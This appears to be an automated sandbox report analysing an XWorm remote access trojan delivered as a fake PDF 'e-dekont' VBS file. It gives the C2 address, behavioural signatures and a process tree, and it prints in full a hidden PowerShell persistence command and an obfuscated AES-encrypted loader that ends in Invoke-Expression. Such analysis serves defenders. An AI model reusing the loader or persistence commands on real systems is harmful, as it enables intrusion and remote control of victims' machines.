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e-dekont_pdf.z.vbs

windows10-2004-x64

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e-dekont_pdf.z.vbs

windows11-ltsc_2024-x64

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Analysis

  • max time kernel
    125s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 07:54

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General

  • Target
    e-dekont_pdf.z.vbs
  • Size 1.3MB
  • Sample260623-jrt6fsa15k
  • SHA256 83babce6edd6eb5f1a1daa0c333eae8ccd471b62e958402beef6c0187e9914f2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarediscoveryexecutionxwormpersistenceransomwareratspywaretrojan

Malware Config

Extracted

Family

  • xworm

Version

  • 5.0

C2

  • 155.103.69.160:2839

Mutex

  • RJc6ZIx2JvyyOQ2Z

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e-dekont_pdf.z.vbs"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\e-dekont_pdf.z.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e-dekont_pdf.z.vbs' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5844
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try { $scrabble = [System.Text.Encoding]::UTF8.GetBytes('gGOt7F2jc3nETGtb'); if ($scrabble.Length -lt 32) { $scrabble = $scrabble + (0..(31 - $scrabble.Length)) }; $karakuls = [Convert]::FromBase64String('EHiCfUR2zKhg9xWYXXC5XdH22Nnq7V4Z/WkKNpAJjccAcu6B99Byu6rE7yL4SInA32j5pmxxE6G8FnOtqgayjci6KQFH1ozWsrjHAJ3zvM2mr9axuLhekECwieJTw8RHzjvqq3fDYkNoSvbOslF4x/Ey3DwXhsBp/sclI7lAdA6I9ofw4hTJkEwCxl9TYgJmG0s+UMl+0rBfDhUBa3b5M8UfZjD6+71zohT+MlnLfmepYL/tHA87PJu1Wur9ZgYtSthRrmPgC5F9lZW8e6DFuLQUogY128WE6hI51BCdt6rvHGfhv+1dSARN5wWTmfcRgA2ZhQFPS0WizSTH5SPuMrLWJWMRieTSAlxWC0xr8zAprvMX/CTfI/OBfrlikSSBo6yCR86Q2ziql9pzUJa5cVDHaRu9cm1S2Z2MTsG0Iwyl8V/nEKp5ipRnuN7XsFfr9s5YL3xUfL627OxgbRmK55m2NeeoHOprW+r//oB9FYlzhjNIxEPYUtntPwbA22HzBGL0wiOsI6XgCvPnp910bpbVK5mUb4PrG/YSDDoe9KnuzW1BLa8+BN9SdnGl+K8HZW9xIQGsIeP2e3RVWMauw8tNn3ZK/WgTBq22rhsW92iwCTMEN1+LKMRq5evnPfzrMIILTl7qsjds9eesXzvSvxAtoLaPl1NlIkX1HUVrfIvq7+6zlmrA6/GobQUiZcYqkGy7/QF+y/XG7H8Kk2WjfK9VPECzNQVo9I8wCCVVn23Kw8JmbgPBWRxAgVraTpXeCQ2TjCufnd32lZcR43UuXDANE+25tJIQ073WOqpHlBMyitMBkPoaPxJOj6TkDrr/XQmD9Xp1A8b58BVbj5TA3mGl1KDLrCb179AgpxWPsvyW82P+eJ4raPXmk7kS2ONxpvhpg951SL4K05pBVbewAEWQYUfMB+EiCZP7ZkAZPAorvjMW2DFOvxYJsC3D+VVxH90cHxDvo93Go0Qgujj2UpX0ZW3kI3Be7q4PstIESf2kgYi9r02Ps/EN6VI0FsZQwyPEpK45qSMA9Nf2qxLiFb0nVd7yNU50SXTQtfiX3mWsDvYdCYGyA+4qy7z9My0ra7/SOsxj4kyyNmZSp75vAg0Bba9njjQtzXzih12nizPgElcWTeZPH/7ggTIf3eKEF3t/KirsWO5MPdEWotXhoRdQVmZNZ1nE3LKtmu5HhW5FBkBeivKYZJz2ABvpvu1ODbKovzaSCL5xBlRv0y6AwIDJ2cDg18OtVi80BffrVEj2/gTvEbfz68YiKKgJl720wiPZrxsKglfRy/KlWHhZYMSy0XlWRhTUYmGu7bn3nQhmL3z3OlV3UZwpyUdcbK+DWrBh8SF4U7FoqWjxVitwrA8cjoc+P/rZIOaNX7t6rUe6HJJnmEo4vu8L2NuVFrxb+QsEX/2kWDCaC13mZvnmOwJxCX1BDYJEqvS2tm8PE+G2KjY1Ldukubg5EXYPQde0V0G8MerNIJV4roiLMAVHVR0ExOwhyJkFKvQfzPjRMxjI2ywnbxDjhHqaXE/DRU5Tf02kjcN19CdhFcGy9GDNzfzx0ZS+Fe1ortKWysCT2sqadMJM6/VADnBFv6pxAbtlhz4HOh6uDpqLNX23nWL2tWeGvp9lDMwuZt+uDjtSqFnXPknNiYJwwCZ+ssfmRjDdXeFQoZryOpI4PtnvtYhdi/zFpxRYD7gXdS/90OZcgGweU8YABaoB73uptgDnct2zajZyRGEp0U5g57Kpldn9hW3f8zXpYf4lbygxl1Uzpcc='); $monogonoporous = $karakuls[0..15]; $stychomythias = $karakuls[16..($karakuls.Length-1)]; $euthanising = [System.Security.Cryptography.Aes]::Create(); $euthanising.Key = $scrabble; $euthanising.IV = $monogonoporous; $excitability = $euthanising.CreateDecryptor(); $sepiary = $excitability.TransformFinalBlock($stychomythias, 0, $stychomythias.Length); $gratz = [System.Text.Encoding]::UTF8.GetString($sepiary); Invoke-Expression $gratz; } catch {}"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5172
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2888
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_7268f284aa2c413ea126332bba473936.cs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6024
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6FBE8E2C45764C4BA36597555BA9547.TMP"
          4⤵
            PID:4988
        • C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
          "C:\Users\Admin\AppData\Local\Temp\MSBuild.exe" 2888
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5764
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1496
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:2880
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1552
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1040

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
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          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 603B
          • SHA256 b346273b0f3e13afaa9f07d97248343c45a667a5e097d1198a449a4de187aebb
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          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 595B
          • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
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          MSBuild.exe
          • Path C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
          • Size 5KB
          • SHA256 cfe2f8c5bccc73dd6477a5280214eb963a66860fed878edee9580b871905f1af
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          RESFB6.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\RESFB6.tmp
          • Size 1KB
          • SHA256 79b65694611439cc0021b6dd33f9e9a52e8628d4e0aba3c0e7b9a7af4c1e2fc0
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          CSC6FBE8E2C45764C4BA36597555BA9547.TMP
          • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC6FBE8E2C45764C4BA36597555BA9547.TMP
          • Size 1KB
          • SHA256 a50a6f311d400c946c1444ca8be5df32c74461ece7f9e3b2b69446225a4d633c
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          Submit Download

          guardian_src_7268f284aa2c413ea126332bba473936.cs
          • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_7268f284aa2c413ea126332bba473936.cs
          • Size 4KB
          • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
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          memory/1552-97-0x000002229BD00000-0x000002229BD20000-memory.dmp
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          memory/1552-63-0x000002228B540000-0x000002228B560000-memory.dmp
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          memory/2888-49-0x00000000069B0000-0x0000000006A2C000-memory.dmp
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          memory/2888-29-0x0000000000400000-0x000000000040E000-memory.dmp
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          memory/2888-37-0x0000000006D60000-0x0000000006D66000-memory.dmp
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          memory/2888-32-0x00000000051C0000-0x000000000525C000-memory.dmp
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          memory/5172-27-0x0000027ED9990000-0x0000027ED9AB2000-memory.dmp
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          memory/5172-26-0x00007FFA33FA0000-0x00007FFA34944000-memory.dmp
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          memory/5764-48-0x0000000000060000-0x0000000000068000-memory.dmp
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          memory/5844-15-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp
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          memory/5844-4-0x0000027359180000-0x00000273591A2000-memory.dmp
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